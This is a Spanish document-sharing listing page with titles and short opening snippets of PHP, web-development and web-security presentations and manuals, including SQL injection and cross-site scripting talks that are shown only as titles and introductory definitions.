Seguridad en Aplicaciones Web

Seguridad en Aplicaciones Web Seguridad en Aplicaciones Web Fabian Portantier Consultor en Seguridad Informática Instructor y Escritor sobre el tema Coordinador de la Carrera de Seguridad www.portantier.com Aplicaciones Web Actuales

Más detalles

Célula UABC-Live.net. Universidad Autónoma. de Baja California. http://uabc-live-net.spaces.live.com/ Facultad de Ciencias Químicas.

Célula UABC-Live.net. Universidad Autónoma. de Baja California. http://uabc-live-net.spaces.live.com/ Facultad de Ciencias Químicas. Célula Académica UABC-Live.net Universidad Autónoma de Baja California Facultad de Ciencias Químicas e Ingeniería http://uabc-live-net.spaces.live.com/ Sesión n No. 7 CardSpace Expositores: Blanca Patricia

Más detalles

GUIA DE LABORATORIO N 9 B. (000Webhost Php- Para desarrollar en casa)

GUIA DE LABORATORIO N 9 B. (000Webhost Php- Para desarrollar en casa) GUIA DE LABORATORIO N 9 B (000Webhost Php- Para desarrollar en casa) Objetivo: Crear servicios web utilizando la arquitectura REST, para obtener información desde un servidor web gratuito que se conecta

Más detalles

Curso de PHP. Acceso a bases de datos MySQL en PHP

Curso de PHP. Acceso a bases de datos MySQL en PHP Curso de PHP Acceso a bases de datos MySQL en PHP Bases de datos en la Web Esquema básico de un sitio web soportado por bases de datos: Lenguaje SQL SQL (Structured Query Language) es el lenguaje que se

Más detalles

Capítulo 3 Diseño del Sistema de Administración de Información de Bajo Costo para un Negocio Franquiciable

Capítulo 3 Diseño del Sistema de Administración de Información de Bajo Costo para un Negocio Franquiciable Capítulo 3 Diseño del Sistema de Administración de Información de Bajo Costo para un Negocio Franquiciable 1. Introducción. El Sistema de Administración de Información de un Negocio Franquiciable (SAINF)

Más detalles

Manual del Protocolo XML-RPC de Mensajería Negocios

Manual del Protocolo XML-RPC de Mensajería Negocios Manual del Protocolo XML-RPC de Mensajería Negocios Índice de contenidos 1 INTRODUCCIÓN... 3 2 FUNCIONALIDADES DEL API DE COMUNICACIÓN XML-RPC... 4 2.1 Envío Libre... 4 2.2 Envío a Grupo de Contactos...

Más detalles

Inyección SQL. Juan Manuel Espinoza Marquez juanmanuel.espinoza@gmail.com CFT San Agustín Linares -2012

Inyección SQL. Juan Manuel Espinoza Marquez juanmanuel.espinoza@gmail.com CFT San Agustín Linares -2012 Inyección SQL Juan Manuel Espinoza Marquez juanmanuel.espinoza@gmail.com CFT San Agustín Linares -2012 Introducción Una inyección SQL sucede cuando se inserta o "inyecta" un código SQL "invasor" dentro

Más detalles

Construcción de una aplicación web para crear un sistema de encuestas con la tecnología PHP y la base de datos MySQL.

Construcción de una aplicación web para crear un sistema de encuestas con la tecnología PHP y la base de datos MySQL. Sistema de encuestas PHP y MySQL Construcción de una aplicación web para crear un sistema de encuestas con la tecnología PHP y la base de datos MySQL. Sistema de encuestas. Base de datos a utilizar Algunas

Más detalles

INTRODUCCIÓN A PHP. Javier Enciso

INTRODUCCIÓN A PHP. Javier Enciso INTRODUCCIÓN A PHP Javier Enciso AGENDA Qué es PHP? Cómo funciona PHP? Instalación QUÉ ES PHP? QUÉ ES PHP? (1/7) PHP (acrónimo de "PHP: Hypertext Preprocessor"). Lenguaje interpretado de alto nivel embebido

Más detalles

SQL Injection. 1º Edición - 11 y 12 de Mayo Montevideo, Uruguay

SQL Injection. 1º Edición - 11 y 12 de Mayo Montevideo, Uruguay SQL Injection 1º Edición - 11 y 12 de Mayo Montevideo, Uruguay ~# Sobre mí Leandro Pintos a.k.a l34r00t Pentester @ Mkit Argentina Colaborador en: http://www.andsec.org/ @leapintos pintos@mkit.com.ar ~#

Más detalles

Tema 3. Introducción a programas en el lado del servidor

Tema 3. Introducción a programas en el lado del servidor Tema 3. Introducción a programas en el lado del servidor ETSI ICAI! Departamento de Sistemas Informáticos! Rafael Palacios Hielscher! Cristina Puente Águeda! Programas en el lado del servidor Código en

Más detalles

APRENDE A CREAR UNA PÁGINA WEB CON HTML

APRENDE A CREAR UNA PÁGINA WEB CON HTML APRENDE A CREAR UNA PÁGINA WEB CON HTML Introducción a PHP INTRODUCCIÓN PHP es una lenguaje de programación del lado del servidor. En este curso, lo usaremos para recibir los datos de un formulario, realizar

Más detalles

Productos para desarrollar aplicaciones web: ASP, CFM, JSP y PHP

Productos para desarrollar aplicaciones web: ASP, CFM, JSP y PHP Departamento de Lenguajes y Sistemas Informáticos Productos para desarrollar aplicaciones web: ASP, CFM, JSP y PHP Curso 001-00 ASP, CFM, JSP y PHP (I) Diferente tecnologías con un mismo propósito: proporcionar

Más detalles

Seminario de SEGURIDAD WEB. Pedro Villena Fernández www.consultoriainnova.com

Seminario de SEGURIDAD WEB. Pedro Villena Fernández www.consultoriainnova.com Seminario de SEGURIDAD WEB Pedro Villena Fernández www.consultoriainnova.com Algunas cosas antes de empezar... Este seminario NO tiene la intención de piratear otras webs. Los ataques que aprenderemos

Más detalles

Índice: Tema 4.2 4.2 Conexión con Bases de Datos

Índice: Tema 4.2 4.2 Conexión con Bases de Datos Índice: Tema 4.2 4.2 Conexión con Bases de Datos 4.2.1 Envío y recepción de datos mediante formularios 4.2.2 Administración de MySQL con phpmyadmin 4.2.3 Conexión con Bases de Datos desde PHP Índice: Tema

Más detalles

INTRODUCCIÓN A LA SEGURIDAD EN SISTEMAS Y WEBS

INTRODUCCIÓN A LA SEGURIDAD EN SISTEMAS Y WEBS INTRODUCCIÓN A LA SEGURIDAD EN SISTEMAS Y WEBS Marco A. Lozano Merino Mayo 2012 Índice 1.Seguridad a nivel de usuario 1.Amenazas y protección 2.La realidad de la seguridad: hackers 3.Seguridad en redes

Más detalles

USANDO SERVLETS EN UN SERVIDOR WEB RESIN

USANDO SERVLETS EN UN SERVIDOR WEB RESIN USANDO SERVLETS EN UN SERVIDOR WEB RESIN Servidor Web Resin Resin es un servidor web que permite no solo despachar un página web, sino aplicaciones web construidos bajo la arquitectura J2EE, así como el

Más detalles

Diseño dinámico de arquitecturas de información

Diseño dinámico de arquitecturas de información Diseño dinámico de arquitecturas de información CARACTERISTICAS DEL SISTEMA Las organizaciones modernas basan su operación en la gestión del conocimiento, es decir, en el manejo de información que se presenta

Más detalles

CESAR BUSTAMANTE cbust@librosdigitales.net

CESAR BUSTAMANTE cbust@librosdigitales.net PHP POO PDO CESAR BUSTAMANTE cbust@librosdigitales.net Temas a desarrollar Definicion PDO Implementacion AJAX Implementacion Ejercicios PDO Definicion PDO (PHP Data Objects) u Objetos de Datos de PHP.

Más detalles

TEMA: DESARROLLO DE APLICACIONES WEB INTERACTIVAS UTILIZANDO LA TÉCNICA AJAX AUTOR: MERY SUSANA ZAMBONINO BAUTISTA

TEMA: DESARROLLO DE APLICACIONES WEB INTERACTIVAS UTILIZANDO LA TÉCNICA AJAX AUTOR: MERY SUSANA ZAMBONINO BAUTISTA TEMA: DESARROLLO DE APLICACIONES WEB INTERACTIVAS UTILIZANDO LA TÉCNICA AJAX AUTOR: MERY SUSANA ZAMBONINO BAUTISTA AREA DEL TEMA: INGENIERÍA DE SOFTWARE OBJETIVO GENERAL Desarrollar aplicaciones web utilizando

Más detalles

Ingeniero Técnico en Informática - UCA Máster en Ingeniería del Software - US Máster en Seguridad de las TIC - US

Ingeniero Técnico en Informática - UCA Máster en Ingeniería del Software - US Máster en Seguridad de las TIC - US Sobre mi Formación Ingeniero Técnico en Informática - UCA Máster en Ingeniería del Software - US Máster en Seguridad de las TIC - US Experiencia Aficiones 4+ años como desarrollador web, más de 2 en Drupal

Más detalles

Cross Site Scripting. Conceptos Básicos y Casos prácticos. Antonio González Castro www.noveria.es antonio@noveria.es

Cross Site Scripting. Conceptos Básicos y Casos prácticos. Antonio González Castro www.noveria.es antonio@noveria.es Cross Site Scripting Conceptos Básicos y Casos prácticos Antonio González Castro www.noveria.es antonio@noveria.es # Definición Cross Site Scripting o también conocido como XSS por sus siglas en inglés,

Más detalles

Curso PHP Módulo 1 R-Luis

Curso PHP Módulo 1 R-Luis Lenguaje PHP Introducción Archivos HTML y PHP: Crear un archivo php es tan sencillo como cambiarle la extensión a un archivo html, por ejemplo podemos pasar de index.html a index.php sin ningún inconveniente.

Más detalles

Programación páginas web con ASP.NET 3.5 (C#)

Programación páginas web con ASP.NET 3.5 (C#) Horas de teoría: 40 Horas de práctica: 40 Programación páginas web con ASP.NET 3.5 (C#) Curso de desarrollo de aplicaciones web. Para ello se estudia la programación de la parte cliente con JavaScript

Más detalles

1. Servidor Web. (apache). 2. PHP. 3. Manejador de base de datos (mysql, postgress).

1. Servidor Web. (apache). 2. PHP. 3. Manejador de base de datos (mysql, postgress). COMO DESARROLLAR UN SISTEMA EN PHP PASO A PASO. (Guía practica). La presente guía esta diseñada para orientar a los programadores que se están iniciando en el mundo del php, a desarrollar una aplicación

Más detalles

Práctica 02. Formularios

Práctica 02. Formularios Práctica 02. Formularios Página 1 El objetivo de esta práctica es desarrollar un formulario el cual podrá ser visto desde cualquier navegador y desde cualquier equipo de cómputo. En esta práctica aprenderás

Más detalles

Circular de Tecnología Pautas de seguridad para el desarrollo de aplicaciones Web

Circular de Tecnología Pautas de seguridad para el desarrollo de aplicaciones Web ASIT 20070501 CT Pautas de seguridad para aplicaciones web v1 2007-05-16 Documento de Circular de Tecnología Pautas de seguridad para el desarrollo de aplicaciones Web Versión 01 ARCHIVO: ASIT 20070501

Más detalles

aplicaciones web: ASP, CFM, JSP y PHP

aplicaciones web: ASP, CFM, JSP y PHP Departamento de Lenguajes y Sistemas Informáticos Productos para desarrollar aplicaciones web: ASP, CFM, JSP y PHP Curso 2001-2002 Sergio Luján Mora ASP, CFM, JSP y PHP (I) Diferente tecnologías con un

Más detalles

ArCERT Jornadas de Seguridad Informática 2009

ArCERT Jornadas de Seguridad Informática 2009 ArCERT Jornadas de Seguridad Informática 2009 La Web desde el ojo de un atacante Nahuel Grisolía ngrisolia@cybsec.com 02 de Octubre de 2009 Buenos Aires - Argentina Agenda Agenda Introducción - Intereses

Más detalles

WDpStats Procedimiento de instalación

WDpStats Procedimiento de instalación WDpStats Procedimiento de instalación Tabla de contenidos WDpStats... 1 Procedimiento de instalación... 1 Tabla de contenidos... 1 Resumen... 2 Requisitos... 2 Instalación... 2 Dificultades... 6 Ejecución...

Más detalles